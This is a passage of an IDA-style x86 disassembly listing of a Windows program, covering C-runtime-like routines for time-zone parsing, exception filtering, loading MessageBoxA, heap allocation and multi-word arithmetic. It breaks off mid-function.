xor ebx, ebx
cmp eax, ebx
jnz short loc_4246B3
cmp edx, ebx
jnz short loc_4246B3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4246FE
; ---------------------------------------------------------------------------
loc_4246B3: ; CODE XREF: sub_42464D+52j
; sub_42464D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4246BC: ; CODE XREF: sub_42464D+45j
; sub_42464D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4246D4: ; CODE XREF: sub_42464D+A6j
test ecx, esi
jnz short loc_4246F5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4246D4
; ---------------------------------------------------------------------------
loc_4246F5: ; CODE XREF: sub_42464D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4246FE: ; CODE XREF: sub_42464D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42464D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DA29
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42470C proc near ; DATA XREF: ___:0043CF68o
; ___:0043D7C8o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42472F
cmp dword ptr [eax+10h], 3
jnz short loc_42472F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42472F
jmp sub_42255C
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_42470C+Dj
; sub_42470C+13j ...
mov eax, dword_4DBB50
test eax, eax
jz short loc_42474C
push eax
call sub_4247A8
test eax, eax
pop ecx
jz short loc_42474C
push esi
call dword_4DBB50
jmp short loc_42474E
; ---------------------------------------------------------------------------
loc_42474C: ; CODE XREF: sub_42470C+2Aj
; sub_42470C+35j
xor eax, eax
loc_42474E: ; CODE XREF: sub_42470C+3Ej
pop esi
retn 4
sub_42470C endp
; ---------------------------------------------------------------------------
word_424752 dw 0C68h ; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
inc edi
inc edx
add [eax+37B8A3E8h], dl
add ah, byte ptr dword_4DBB50[ebx]
retn
; ---------------------------------------------------------------------------
byte_424763 db 0FFh ; DATA XREF: ___:00429040o
dd 4DBB5035h, 91E89000h, 0C30237B8h
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp
; sub_4222C2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2790BDDh
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: sub_4222C2+73p
; sub_4222C2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2A607E7h
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; =============== S U B R O U T I N E =======================================
sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp
; sub_42470C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
nop
call near ptr 2790B72h
test eax, eax
jz short loc_4247BC
xor esi, esi
loc_4247BC: ; CODE XREF: sub_4247A8+10j
mov eax, esi
pop esi
retn
sub_4247A8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42255C
loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj
push 0Ah
call sub_4235C9
push 16h
call sub_425955
pop ecx
pop ecx
push 3
call sub_41B7C2
; END OF FUNCTION CHUNK FOR sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p
cmp dword_4DBC10, 0
jnz short locret_4247EB
call sub_4247EC
inc dword_4DBC10
locret_4247EB: ; CODE XREF: sub_4247D7+7j
retn
sub_4247D7 endp
; =============== S U B R O U T I N E =======================================
sub_4247EC proc near ; CODE XREF: sub_4247D7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DBB58, ebp
mov dword_43D400, ebx
mov dword_43D3F0, ebx
call sub_425AC7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424915
push offset dword_4DBB60
nop
call near ptr 2A20000h
cmp eax, ebx
jz loc_424A44
mov eax, dword_4DBB60
mov ecx, dword_4DBBB4
imul eax, 3Ch
cmp word_4DBBA6, bp
push 1
pop edx
mov dword_43D358, eax
mov dword_4DBB58, edx
jz short loc_424863
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43D358, eax
loc_424863: ; CODE XREF: sub_4247EC+69j
cmp word_4DBBFA, bp
jz short loc_424887
mov eax, dword_4DBC08
cmp eax, ebp
jz short loc_424887
sub eax, ecx
mov dword_43D35C, edx
imul eax, 3Ch
mov dword_43D360, eax
jmp short loc_424893
; ---------------------------------------------------------------------------
loc_424887: ; CODE XREF: sub_4247EC+7Ej
; sub_4247EC+87j
mov dword_43D35C, ebp
mov dword_43D360, ebp
loc_424893: ; CODE XREF: sub_4247EC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42717C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43D3E4
push ebx
push offset dword_4DBB64
push edi
push dword_4DB9F4
call esi
test eax, eax
jz short loc_4248D0
cmp [esp+14h+var_4], ebp
jnz short loc_4248D0
mov eax, off_43D3E4
and byte ptr [eax+3Fh], 0
jmp short loc_4248D8
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4247EC+D1j
; sub_4247EC+D7j
mov eax, off_43D3E4
and byte ptr [eax], 0
loc_4248D8: ; CODE XREF: sub_4247EC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43D3E8
push ebx
push offset dword_4DBBB8
push edi
push dword_4DB9F4
call esi
test eax, eax
jz loc_424A3C
cmp [esp+14h+var_4], ebp
jnz loc_424A3C
mov eax, off_43D3E8
and byte ptr [eax+3Fh], 0
jmp loc_424A44
; ---------------------------------------------------------------------------
loc_424915: ; CODE XREF: sub_4247EC+2Dj
cmp byte ptr [esi], 0
jz loc_424A44
mov eax, dword_4DBC0C
cmp eax, ebp
jz short loc_424938
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_424A44
loc_424938: ; CODE XREF: sub_4247EC+139j
push dword_4DBC0C
call sub_41B0B1
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
add esp, 0Ch
cmp eax, ebp
mov dword_4DBC0C, eax
jz loc_424A44
push esi
push eax
call sub_41BEB0
push 3
push esi
push off_43D3E4
call sub_41B5F0
mov eax, off_43D3E4
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42498D
push 1
inc esi
pop edi
loc_42498D: ; CODE XREF: sub_4247EC+19Bj
push esi
call sub_41B6EE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43D358, ecx
loc_4249A4: ; CODE XREF: sub_4247EC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4249B2
cmp al, bl
jl short loc_4249B5
cmp al, 39h
jg short loc_4249B5
loc_4249B2: ; CODE XREF: sub_4247EC+1BCj
inc esi
jmp short loc_4249A4
; ---------------------------------------------------------------------------
loc_4249B5: ; CODE XREF: sub_4247EC+1C0j
; sub_4247EC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
imul eax, 3Ch
pop ecx
mov ecx, dword_43D358
add ecx, eax
mov dword_43D358, ecx
loc_4249D3: ; CODE XREF: sub_4247EC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4249E0
cmp al, 39h
jg short loc_4249E0
inc esi
jmp short loc_4249D3
; ---------------------------------------------------------------------------
loc_4249E0: ; CODE XREF: sub_4247EC+1EBj
; sub_4247EC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
pop ecx
mov ecx, dword_43D358
add ecx, eax
mov dword_43D358, ecx
loc_4249FB: ; CODE XREF: sub_4247EC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424A08
cmp al, 39h
jg short loc_424A08
inc esi
jmp short loc_4249FB
; ---------------------------------------------------------------------------
loc_424A08: ; CODE XREF: sub_4247EC+1CCj
; sub_4247EC+1F7j ...
cmp edi, ebp
jz short loc_424A14
neg ecx
mov dword_43D358, ecx
loc_424A14: ; CODE XREF: sub_4247EC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43D35C, eax
jz short loc_424A3C
push 3
push esi
push off_43D3E8
call sub_41B5F0
mov eax, off_43D3E8
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424A44
; ---------------------------------------------------------------------------
loc_424A3C: ; CODE XREF: sub_4247EC+10Bj
; sub_4247EC+115j ...
mov eax, off_43D3E8
and byte ptr [eax], 0
loc_424A44: ; CODE XREF: sub_4247EC+40j
; sub_4247EC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4247EC endp
; =============== S U B R O U T I N E =======================================
sub_424A4A proc near ; CODE XREF: sub_422669+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43D35C, edi
jnz short loc_424A5E
loc_424A57: ; CODE XREF: sub_424A4A+148j
; sub_424A4A+150j ...
xor eax, eax
jmp loc_424BAA
; ---------------------------------------------------------------------------
loc_424A5E: ; CODE XREF: sub_424A4A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43D3F0
jnz short loc_424A7C
cmp eax, dword_43D400
jz loc_424B7E
loc_424A7C: ; CODE XREF: sub_424A4A+24j
cmp dword_4DBB58, edi
jz loc_424B54
movzx ecx, word_4DBC06
push ecx
cmp word_4DBBF8, di
movzx ecx, word_4DBC04
push ecx
movzx ecx, word_4DBC02
push ecx
movzx ecx, word_4DBC00
push ecx
jnz short loc_424ACE
movzx ecx, word_4DBBFC
push edi
push ecx
movzx ecx, word_4DBBFE
push ecx
movzx ecx, word_4DBBFA
push ecx
push eax
push ebx
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424ACE: ; CODE XREF: sub_424A4A+65j
movzx ecx, word_4DBBFE
push ecx
push edi
movzx ecx, word_4DBBFA
push edi
push ecx
push eax
push edi
loc_424AE2: ; CODE XREF: sub_424A4A+82j
push ebx
call sub_424BF6
movzx eax, word_4DBBB2
add esp, 2Ch
cmp word_4DBBA4, di
push eax
movzx eax, word_4DBBB0
push eax
movzx eax, word_4DBBAE
push eax
movzx eax, word_4DBBAC
push eax
jnz short loc_424B3C
movzx eax, word_4DBBA8
push edi
push eax
movzx eax, word_4DBBAA
push eax
movzx eax, word_4DBBA6
push eax
push dword ptr [esi+14h]
push ebx
loc_424B31: ; CODE XREF: sub_424A4A+108j
push edi
call sub_424BF6
add esp, 2Ch
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B3C: ; CODE XREF: sub_424A4A+C8j
movzx eax, word_4DBBAA
push eax
push edi
movzx eax, word_4DBBA6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424B31
; ---------------------------------------------------------------------------
loc_424B54: ; CODE XREF: sub_424A4A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424BF6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424BF6
add esp, 58h
loc_424B7E: ; CODE XREF: sub_424A4A+2Cj
; sub_424A4A+F0j
mov edx, dword_43D3F4
mov eax, dword_43D404
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424BAE
cmp ecx, edx
jl loc_424A57
cmp ecx, eax
jg loc_424A57
cmp ecx, edx
jle short loc_424BC2
cmp ecx, eax
jge short loc_424BC2
loc_424BA8: ; CODE XREF: sub_424A4A+166j
; sub_424A4A+16Aj
mov eax, ebx
loc_424BAA: ; CODE XREF: sub_424A4A+Fj
; sub_424A4A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424BAE: ; CODE XREF: sub_424A4A+144j
cmp ecx, eax
jl short loc_424BA8
cmp ecx, edx
jg short loc_424BA8
cmp ecx, eax
jle short loc_424BC2
cmp ecx, edx
jl loc_424A57
loc_424BC2: ; CODE XREF: sub_424A4A+158j
; sub_424A4A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424BE9
xor ecx, ecx
cmp eax, dword_43D3F8
setnl cl
loc_424BE5: ; CODE XREF: sub_424A4A+1AAj
mov eax, ecx
jmp short loc_424BAA
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: sub_424A4A+18Ej
xor ecx, ecx
cmp eax, dword_43D408
setl cl
jmp short loc_424BE5
sub_424A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p
; sub_424A4A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424C91
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424C21
shl esi, 2
mov eax, dword_43D408[esi]
jmp short loc_424C2A
; ---------------------------------------------------------------------------
loc_424C21: ; CODE XREF: sub_424BF6+1Ej
shl esi, 2
mov eax, dword_43D43C[esi]
loc_424C2A: ; CODE XREF: sub_424BF6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424C64
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424C6E
; ---------------------------------------------------------------------------
loc_424C64: ; CODE XREF: sub_424BF6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424C6E: ; CODE XREF: sub_424BF6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424CAC
cmp [ebp+arg_8], 0
jnz short loc_424C82
mov esi, dword_43D40C[esi]
jmp short loc_424C88
; ---------------------------------------------------------------------------
loc_424C82: ; CODE XREF: sub_424BF6+82j
mov esi, dword_43D440[esi]
loc_424C88: ; CODE XREF: sub_424BF6+8Aj
cmp ecx, esi
jle short loc_424CAC
sub ecx, 7
jmp short loc_424CAC
; ---------------------------------------------------------------------------
loc_424C91: ; CODE XREF: sub_424BF6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424CA2
mov ecx, dword_43D408[eax*4]
jmp short loc_424CA9
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424BF6+A1j
mov ecx, dword_43D43C[eax*4]
loc_424CA9: ; CODE XREF: sub_424BF6+AAj
add ecx, [ebp+arg_18]
loc_424CAC: ; CODE XREF: sub_424BF6+7Cj
; sub_424BF6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424CDD
mov eax, [ebp+arg_1C]
mov dword_43D3F4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43D3F0, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43D3F8, eax
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424CDD: ; CODE XREF: sub_424BF6+BAj
mov eax, [ebp+arg_1C]
mov dword_43D404, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43D360
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43D408, eax
jns short loc_424D15
add eax, 5265C00h
dec ecx
mov dword_43D408, eax
jmp short loc_424D26
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: sub_424BF6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424D2C
sub eax, edx
inc ecx
mov dword_43D408, eax
loc_424D26: ; CODE XREF: sub_424BF6+11Dj
mov dword_43D404, ecx
loc_424D2C: ; CODE XREF: sub_424BF6+126j
mov dword_43D400, ebx
loc_424D32: ; CODE XREF: sub_424BF6+E5j
pop esi
pop ebx
pop ebp
retn
sub_424BF6 endp
; =============== S U B R O U T I N E =======================================
sub_424D36 proc near ; CODE XREF: ___:00422E9Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424D47
add esp, 0Ch
retn
sub_424D36 endp
; =============== S U B R O U T I N E =======================================
sub_424D47 proc near ; CODE XREF: sub_424D36+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DCEA1[eax], cl
jnz short loc_424D74
cmp [esp+arg_4], 0
jz short loc_424D6D
movzx eax, word_43C9B2[eax*2]
and eax, [esp+arg_4]
jmp short loc_424D6F
; ---------------------------------------------------------------------------
loc_424D6D: ; CODE XREF: sub_424D47+16j
xor eax, eax
loc_424D6F: ; CODE XREF: sub_424D47+24j
test eax, eax
jnz short loc_424D74
retn
; ---------------------------------------------------------------------------
loc_424D74: ; CODE XREF: sub_424D47+Fj
; sub_424D47+2Aj
push 1
pop eax
retn
sub_424D47 endp
; =============== S U B R O U T I N E =======================================
sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBC14, ebx
push esi
push edi
jnz short loc_424DC7
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 2850000h
mov edi, eax
cmp edi, ebx
jz short loc_424DFD
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DBC14, eax
jz short loc_424DFD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBC18, eax
call esi
mov dword_4DBC1C, eax
loc_424DC7: ; CODE XREF: sub_424D78+Bj
mov eax, dword_4DBC18
test eax, eax
jz short loc_424DE6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424DE6
mov eax, dword_4DBC1C
test eax, eax
jz short loc_424DE6
push ebx
call eax
mov ebx, eax
loc_424DE6: ; CODE XREF: sub_424D78+56j
; sub_424D78+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBC14
loc_424DF9: ; CODE XREF: sub_424D78+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424D78+1Cj
; sub_424D78+33j
xor eax, eax
jmp short loc_424DF9
sub_424D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E01 proc near ; CODE XREF: sub_423936+22p
; sub_423936+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DCFC8
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+arg_0]
cmp eax, dword_4DCFC0
ja short loc_424E6C
push eax
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C9A4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DCFC4
nop
call near ptr 2960000h
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB9AC, 0
jz short loc_424EA5
push esi
call sub_41F312
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+arg_0]
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239DB
loc_424EB2: ; CODE XREF: sub_4239DB+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DCC60, esi
jle short loc_424F05
loc_424EC1: ; CODE XREF: sub_4239DB+1528j
mov eax, dword_4DBC48
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424EFC
test byte ptr [eax+0Ch], 83h
jz short loc_424EE0
push eax
call sub_41B05B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424EE0
inc edi
loc_424EE0: ; CODE XREF: sub_4239DB+14F6j
; sub_4239DB+1502j
cmp esi, 14h
jl short loc_424EFC
mov eax, dword_4DBC48
push dword ptr [eax+esi*4]
call sub_41B0B1
mov eax, dword_4DBC48
pop ecx
and dword ptr [eax+esi*4], 0
loc_424EFC: ; CODE XREF: sub_4239DB+14F0j
; sub_4239DB+1508j
inc esi
cmp esi, dword_4DCC60
jl short loc_424EC1
loc_424F05: ; CODE XREF: sub_4239DB+14E4j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4239DB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F0A proc near ; CODE XREF: sub_423A33+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DCD80
jnb loc_42503F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCC80[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42503F
push 1
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425049
push 2
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425049
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424FEC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41B590
push 8000h
push ebx
call sub_425B44
add esp, 14h
mov [ebp+arg_4], eax
loc_424FA0: ; CODE XREF: sub_424F0A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424FAB
mov eax, edi
loc_424FAB: ; CODE XREF: sub_424F0A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424FC9
sub edi, eax
test edi, edi
jle short loc_424FDF
jmp short loc_424FA0
; ---------------------------------------------------------------------------
loc_424FC9: ; CODE XREF: sub_424F0A+B5j
cmp dword_4DB92C, 5
jnz short loc_424FDC
mov dword_4DB928, 0Dh
loc_424FDC: ; CODE XREF: sub_424F0A+C6j
or esi, 0FFFFFFFFh
loc_424FDF: ; CODE XREF: sub_424F0A+BBj
push [ebp+arg_4]
push ebx
call sub_425B44
pop ecx
pop ecx
jmp short loc_42502C
; ---------------------------------------------------------------------------
loc_424FEC: ; CODE XREF: sub_424F0A+71j
jge short loc_42502C
push 0
push [ebp+arg_4]
push ebx
call sub_42272B
push ebx
call sub_4238A2
add esp, 10h
push eax
call near ptr 2790000h
nop
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42502C
mov dword_4DB928, 0Dh
nop
call near ptr 2830047h
mov dword_4DB92C, eax
loc_42502C: ; CODE XREF: sub_424F0A+E0j
; sub_424F0A:loc_424FECj ...
push 0
push [ebp+arg_0]
push ebx
call sub_42272B
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42504C
; ---------------------------------------------------------------------------
loc_42503F: ; CODE XREF: sub_424F0A+1Aj
; sub_424F0A+36j
mov dword_4DB928, 9
loc_425049: ; CODE XREF: sub_424F0A+4Ej
; sub_424F0A+63j
or eax, 0FFFFFFFFh
loc_42504C: ; CODE XREF: sub_424F0A+133j
pop esi
pop ebx
leave
retn
sub_424F0A endp
; =============== S U B R O U T I N E =======================================
sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp
; sub_4241CF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425066
cmp ecx, esi
jnb short loc_425069
loc_425066: ; CODE XREF: sub_425050+10j
push 1
pop eax
loc_425069: ; CODE XREF: sub_425050+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425050 endp
; =============== S U B R O U T I N E =======================================
sub_425071 proc near ; CODE XREF: sub_42512A+40p
; sub_42512A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
inc dword ptr [esi+8]
loc_4250A3: ; CODE XREF: sub_425071+19j
; sub_425071+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250BB
inc dword ptr [esi+8]
loc_4250BB: ; CODE XREF: sub_425071+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
pop edi
pop esi
retn
sub_425071 endp
; =============== S U B R O U T I N E =======================================
sub_4250CF proc near ; CODE XREF: sub_42512A+30p
; sub_42512A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4250CF endp
; =============== S U B R O U T I N E =======================================
sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p
; sub_425BBA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4250FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
